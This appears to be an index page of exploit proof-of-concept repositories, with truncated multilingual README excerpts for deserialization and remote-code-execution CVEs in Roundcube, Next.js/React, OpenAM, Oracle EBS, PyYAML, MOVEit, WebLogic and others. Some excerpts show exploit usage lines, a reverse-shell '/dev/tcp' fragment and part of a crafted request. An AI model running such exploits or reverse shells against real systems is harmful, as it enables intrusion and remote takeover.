CVE-2024-52433

CVE-2024-52433 My Geo Posts Free = 1.2 - Неаутентифицированная PHP-инъекция объектов Описание Плагин My Geo Posts Free для WordPress подвержен PHP-инъекции объектов в версиях до 1.2 включительно через десериализацию недоверенных входных данных. Это позволяет неаутентифицированным атакующим внедри...

CVE-2025-49113

CVE-2025-49113 Exploit Roundcube Un exploit Python pour CVE-2025-49113, ciblant une vulnérabilité dans le webmail Roundcube qui permet l'exécution de code à distance via une désérialisation d'objet PHP. Aperçu Cet exploit exploite une vulnérabilité de désérialisation dans la fonctionnalité de...

CVE-2025-66478-Exploit-PoC

CVE-2025-66478 Exploit PoC Этот репозиторий содержит код proof-of-concept PoC для воспроизведения и исследования уязвимости Next.js CVE-2025-66478. Включает уязвимое приложение Next.js и скрипт эксплойта на Node.js для тестирования уязвимости. Английский · Китайский Что такое CVE-2025-66478? Это...

cve-2025-61882-oracle_ebs_rce_reproduction

CVE-2025-61882 — Неаутентифицированное удаленное выполнение кода в Oracle E-Business Suite CVSS 9.8 КРИТИЧЕСКИЙ Обзор CVE-2025-61882 — это неаутентифицированная уязвимость удаленного выполнения кода в Oracle E-Business Suite EBS, затрагивающая компоненты Concurrent Processing и BI Publisher. Эта...

PoC-for-CVE-2020-28948-CVE-2020-28949

POC для CVE-2020-28948 & CVE-2020-28949 Файлы здесь содержат PoC для CVE-2020-28948 & CVE-2020-28949 для достижения удаленной эксплуатации Сервер Папка server содержит простой сервер загрузки, который использует уязвимую библиотеку ArchiveTar, расположенную в server/Archive. Сервер принимает...

CVE-2026-33439-PoC

CVE-2026-33439 — Pre-Auth RCE в OpenAM Удалённое выполнение кода до аутентификации в OpenIdentityPlatform OpenAM = 16.0.5 через небезопасную десериализацию Java параметра jato.clientSession CVSS 9.8. Только для авторизованного тестирования безопасности. Быстрый старт 1. Build payload downloads JA...

CVE-2020-14343-PyYAML

CVE-2020-14343 PyYAML Уязвимость десериализации POC Обзор уязвимости Элемент| Информация ---|--- CVE ID| CVE-2020-14343 Затронутый компонент| PyYAML Пример: python poc.py http://vulnerable-site.com 192.168.1.100 4444 Ход атаки 1. Скрипт запускает локальный TCP-прослушиватель 2. Загружает...

CVE-2026-33439-Poc

CVE-2026-33439 RCE до аутентификации в OpenIdentityPlatform OpenAM через небезопасную десериализацию Java параметра jato.clientSession. Затронуты версии & /dev/tcp/HOST/PORT 0&1' Вывод слепой. Запрос блокируется до завершения команды, поэтому время подтверждает выполнение --command 'sleep 5'...

CVE-2026-33439

🐞 CVE-2026-33439: RCE без аутентификации в OpenAM через десериализацию jato.clientSession Анализ человеком + помощь ИИ + reverse engineering + advisory → эксплойт Первая публично опубликованная реализация эксплойта для CVE-2026-33439 Неаутентифицированная уязвимость десериализации Java в ForgeRoc...

React2Shell

@React2Hell — CVE-2025-55182 Exploit 🔥 Next.js / React Server Remote Code Execution RCE Exploit █████▄ ▄▄▄▄▄ ▄▄▄ ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ▄▄▄▄▄ ██ ██ ▄▄▄▄▄ ▄▄ ▄▄ ██▄▄██▄ ██▄▄ ██▀██ ██▀▀▀ ██ ▄██▀ ██▄▄ ██████ ██▄▄ ██ ██ ██ ██ ██▄▄▄ ██▀██ ▀████ ██ ███▄▄ ▄▄▄███ ██ ██ ██▄▄▄ ██▄▄▄ ██▄▄▄ MAGENTA Next.js/React...

CVE-2026-59827

CVE-2026-59827: Небезопасная десериализация Metabase в нативных запросах H2 Уровень критичности: Критический CVSS 9.9 CVE: CVE-2026-59827 Уведомление: GHSA-w95f-x9v9-wv36 Сообщил: Matheus Gutierre @Gutierre0x80 Опубликовано: 30 июня 2026 г. Сводка по уязвимости Аутентифицированный пользователь с...

CVE-2025-49113

Script Python pour CVE-2025-49113 Utilisation : python exploit.py https://ubuntu.com/security/CVE-2025-49113 Description : Roundcube Webmail avant 1.5.10 et 1.6.x avant 1.6.11 permet l'exécution de code à distance par des utilisateurs authentifiés car le paramètre from dans une URL n'est pas vali...

CVE-2026-27971_POC

CVE-2026-27971 — Qwik server$ PoC неаутентифицированного удаленного выполнения кода !WARNING Этот репозиторий содержит активный proof-of-concept удаленного выполнения кода. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Автор не...

CVE-2025-64512-pdfminer-PoC

CVE-2025-64512 — PoC десериализации CMapDB в pdfminer.six Доказательство концепции PoC уязвимости десериализации в pdfminer.six, которая приводит к выполнению произвольного кода при разборе специально созданного PDF. ЦЕЛЬ / ПРАВОВОЙ ОТКАЗ Этот репозиторий предоставлен только для образовательных...

cve-2025-55182

CVE-2025-55182 alias React2Shell Mise en place de l'environnement de test kiot :: /react2shell » docker compose build --no-cache kiot :: /react2shell » docker compose up POC Payload 1. RCE avec réponse dans le corps POST / HTTP/1.1 Host: localhost:3000 Next-Action: whatever Content-Type:...

PoC_CVE-2020-9484

Ce dépôt contient un exploit de preuve de concept pour CVE-2020-9484, ainsi qu'un serveur web d'exemple qui est vulnérable à cet exploit. Prérequis pour que cette vulnérabilité soit exploitable Les versions de Tomcat affectées sont : Apache Tomcat 10.x 10.0.0-M5 Apache Tomcat 9.x 9.0.35 Apache...

HTTP-Request-for-PHP-object-injection-attack-on-CVE-2023-41892

Ce type d'attaque tente d'exploiter le processus de désérialisation de l'application PHP pour exécuter du code arbitraire ou effectuer des actions non prévues sur le serveur. Stratégies d'atténuation Pour se défendre contre l'injection d'objets PHP et les attaques similaires, envisagez les...

MoveIT-CVE-2023-34362-RCE

CVE-2023-34362: RCE non authentifiée sur MOVEit Transfer Pour une description technique complète de la vulnérabilité et de son exploitation, veuillez lire notre Analyse AttackerKB. Utilisation ruby move.rb ruby move.rb 192.168.86.111 + Démarrage. cible='https://192.168.86.111'. + Jeton de session...

CVE-2025-55182

Разбираемся в React Server Components и протоколе Flight React Server Components — это функция, представленная в React 19, которая позволяет рендерить компоненты на сервере, а не в браузере на стороне клиента. Сервер может выполнять сложные вычислительные задачи, отправляя клиенту только уже...

CVE-2019-2725

CVE-2019-2725 WebLogic Universal Exploit - CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 générateur de payload & exploit Info / Aide $ python3 weblogicexploit.py -h ======================================================================== | WebLogic Universal Exploit | |...